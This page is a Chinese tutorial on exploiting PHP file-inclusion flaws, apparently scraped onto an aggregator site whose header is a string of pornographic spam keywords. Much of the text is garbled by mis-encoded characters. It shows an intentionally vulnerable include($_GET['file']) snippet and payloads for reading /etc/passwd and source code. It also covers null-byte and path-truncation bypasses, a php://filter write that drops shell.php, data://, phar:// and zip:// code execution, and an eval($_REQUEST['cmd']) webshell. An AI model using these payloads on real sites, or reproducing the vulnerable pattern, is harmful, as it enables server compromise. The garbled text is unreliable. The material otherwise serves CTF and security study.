日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 综合教程 >内容正文

综合教程

文件包含

發(fā)布時(shí)間:2024/8/26 综合教程 31 生活家
生活随笔 收集整理的這篇文章主要介紹了 文件包含 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

文件包含給開發(fā)人員帶來(lái)了極大的便利,當(dāng)網(wǎng)站需要一樣的頁(yè)面或模板時(shí),直接包含需要的網(wǎng)頁(yè),就沒必要重復(fù)編寫代碼,且需要更改頁(yè)面的時(shí)候,只需修改包含的頁(yè)面,帶來(lái)極大的便利的同時(shí),也帶了巨大的威脅

在PHP中文件包含函數(shù)分為四個(gè)

require()

require_once()

include()

include_once()

其中require和include的區(qū)別是,require出現(xiàn)錯(cuò)誤的時(shí)候,會(huì)直接報(bào)錯(cuò)并退出程序的執(zhí)行,而include包含的過(guò)程中如果出現(xiàn)錯(cuò)誤,會(huì)拋出一個(gè)警告,程序繼續(xù)正常運(yùn)行。

require_once和include_once則只包含一次

不管它們里面包含的是什么,圖片也好,文本也好,都會(huì)被函數(shù)當(dāng)成PHP代碼解析,所以文件包含運(yùn)用不當(dāng)會(huì)給服務(wù)器帶來(lái)極大的威脅

文件包含分為兩類,即本地文件包含LFI(Local File Inclusion)和遠(yuǎn)程文件包含RFI (Remote File Inclusion)

本地包含就可以包含服務(wù)器本地的文件

遠(yuǎn)程文件包含可以包含遠(yuǎn)程的文件,且遠(yuǎn)程文件包含危害性比本地包含危害還大

遠(yuǎn)程文件包含還需要PHP配置文件中打開以下兩個(gè)配置,但是從PHP5.2開始allow_url_include默認(rèn)為Off

allow_url_fopen = On

allow_url_include = On

比如我們有個(gè)代碼,因?yàn)闆]有任何的過(guò)濾機(jī)制,導(dǎo)致可以任意的進(jìn)行本地文件包含

<?php
   include($_GET['file']);
?>

可以包含一些敏感信息如/etc/passwd,如果上傳了圖片馬,則可以直接包含利用

遠(yuǎn)程文件包含測(cè)試,包含遠(yuǎn)程服務(wù)器的1.txt, 其中1.txt內(nèi)容為 <?php phpinfo()?>

一些繞過(guò)方式和技巧

1、%00繞過(guò)

但是受magic_quotes_gpc和addslashes等函數(shù)的過(guò)濾,同時(shí)PHP 5.3之后版本全面修復(fù)

現(xiàn)在代碼修改這樣,只能用html,

<?php
include($_GET['file'].html);
?>

但是可以用%00來(lái)截?cái)?/p>

2、路徑長(zhǎng)度截?cái)?/p>

條件:windows OS,點(diǎn)號(hào)需要長(zhǎng)于256;linux OS 長(zhǎng)于4096

Windows下目錄最大長(zhǎng)度為256字節(jié),超出的部分會(huì)被丟棄

Linux下目錄最大長(zhǎng)度為4096字節(jié),超出的部分會(huì)被丟棄。

但是本地測(cè)試失敗

3、點(diǎn)號(hào)截?cái)?/p>

條件:windows OS,點(diǎn)號(hào)需要長(zhǎng)于256

同樣本地測(cè)試失敗(求懂得大佬留言)

遠(yuǎn)程文件包含繞過(guò)

測(cè)試代碼


<?php
include($_GET['file'].html);
?>

用?進(jìn)行繞過(guò)

引用《代碼審計(jì):企業(yè)級(jí)Web代碼安全架構(gòu)》訪問http://remotehost/1.txt和http//remotehost/1.txt?.php返回結(jié)果是一樣的,webserver會(huì)把?之后的內(nèi)容當(dāng)成請(qǐng)求參數(shù),txt不在webserver里面解析,參數(shù)對(duì)訪問1.txt返回內(nèi)容不影響,實(shí)現(xiàn)偽截?cái)?/p>

同樣的測(cè)試%23也可以

下面介紹一些PHP偽協(xié)議

文件包含常常便隨著php偽協(xié)議,也CTF常用套路

1、php://filter 可以對(duì)文件進(jìn)行以base64的形式讀取

需要allow_url_include=on

常用語(yǔ)法

?file=php://filter/convert.base64-encode/resource=xxx.php

測(cè)試

在用base64解碼就即可獲得源代碼

利用php://filter寫入

在這個(gè)源碼中,如果在后門寫入php代碼,不管怎么樣,一開始就被exit掉了,無(wú)法繼續(xù)執(zhí)行后面的php代碼

<?php
$content = '<?php exit; ?>';
$content .= $_GET['txt'];
file_put_contents($_GET['file'], $content);
?>

我們可以用php://filter寫入base64的解碼

構(gòu)造

http://localhost/test.php?txt=aPD9waHAgcGhwaW5mbygpOyA/Pg==&file=php://filter/write=convert.base64-decode/resource=shell.php

其中PD9waHAgcGhwaW5mbygpOyA/Pg==是base64后的 <?php phpinfo(); ?>,在前面加個(gè)a或任意字母用來(lái)混淆前面的代碼(也就是 <?php exit; ?>)

然后利用php://filter/write寫入并用base64解碼出來(lái),這樣就成功繞過(guò)前面的限制寫入文件

2、php://input 可以進(jìn)行代碼執(zhí)行,寫入木馬,利用POST傳參

需要allow_url_fopen 和 allow_url_include=on

CTF套路 碰到file_get_contents函數(shù)可以用php://input進(jìn)行繞過(guò)

這里測(cè)試 寫入一句話,在www目錄下生成shell.php文件

3、file:// 可以讀取系統(tǒng)文件

4、data://偽協(xié)議 數(shù)據(jù)流封裝器

利用了流的概念,和php://input類似,同樣可以造成代碼執(zhí)行

?file=data:text/plain,<?php phpinfo()?>

?file=data://text/plain;base64,執(zhí)行代碼base64加密后

5、phar://

不管后綴是什么,都會(huì)當(dāng)做壓縮包來(lái)解壓,PHP > =5.3.0 壓縮包需要是zip協(xié)議壓縮,rar不行

首先先準(zhǔn)備一句話木馬,然后把它壓縮,在修改成.jpg,然后利用phcar解析

它會(huì)把.jpg解壓成.php

正常解壓需要知道解壓后的文件名字

6、zip://

可以訪問壓縮文件中的子文件,且不需要指定后綴名

先準(zhǔn)備一個(gè).txt文件,里面的內(nèi)容為 <?php eval($_REQUEST['cmd']);?>,然后進(jìn)行壓縮,這里壓縮成test.zip,上傳到www目錄下面

然后用zip偽協(xié)議進(jìn)行命令執(zhí)行

格式: zip://壓縮包名#壓縮包子文件名   

以上內(nèi)容參考

https://www.freebuf.com/articles/web/182280.html

https://blog.csdn.net/qq_33020901/article/details/82684483

總結(jié)

以上是生活随笔為你收集整理的文件包含的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。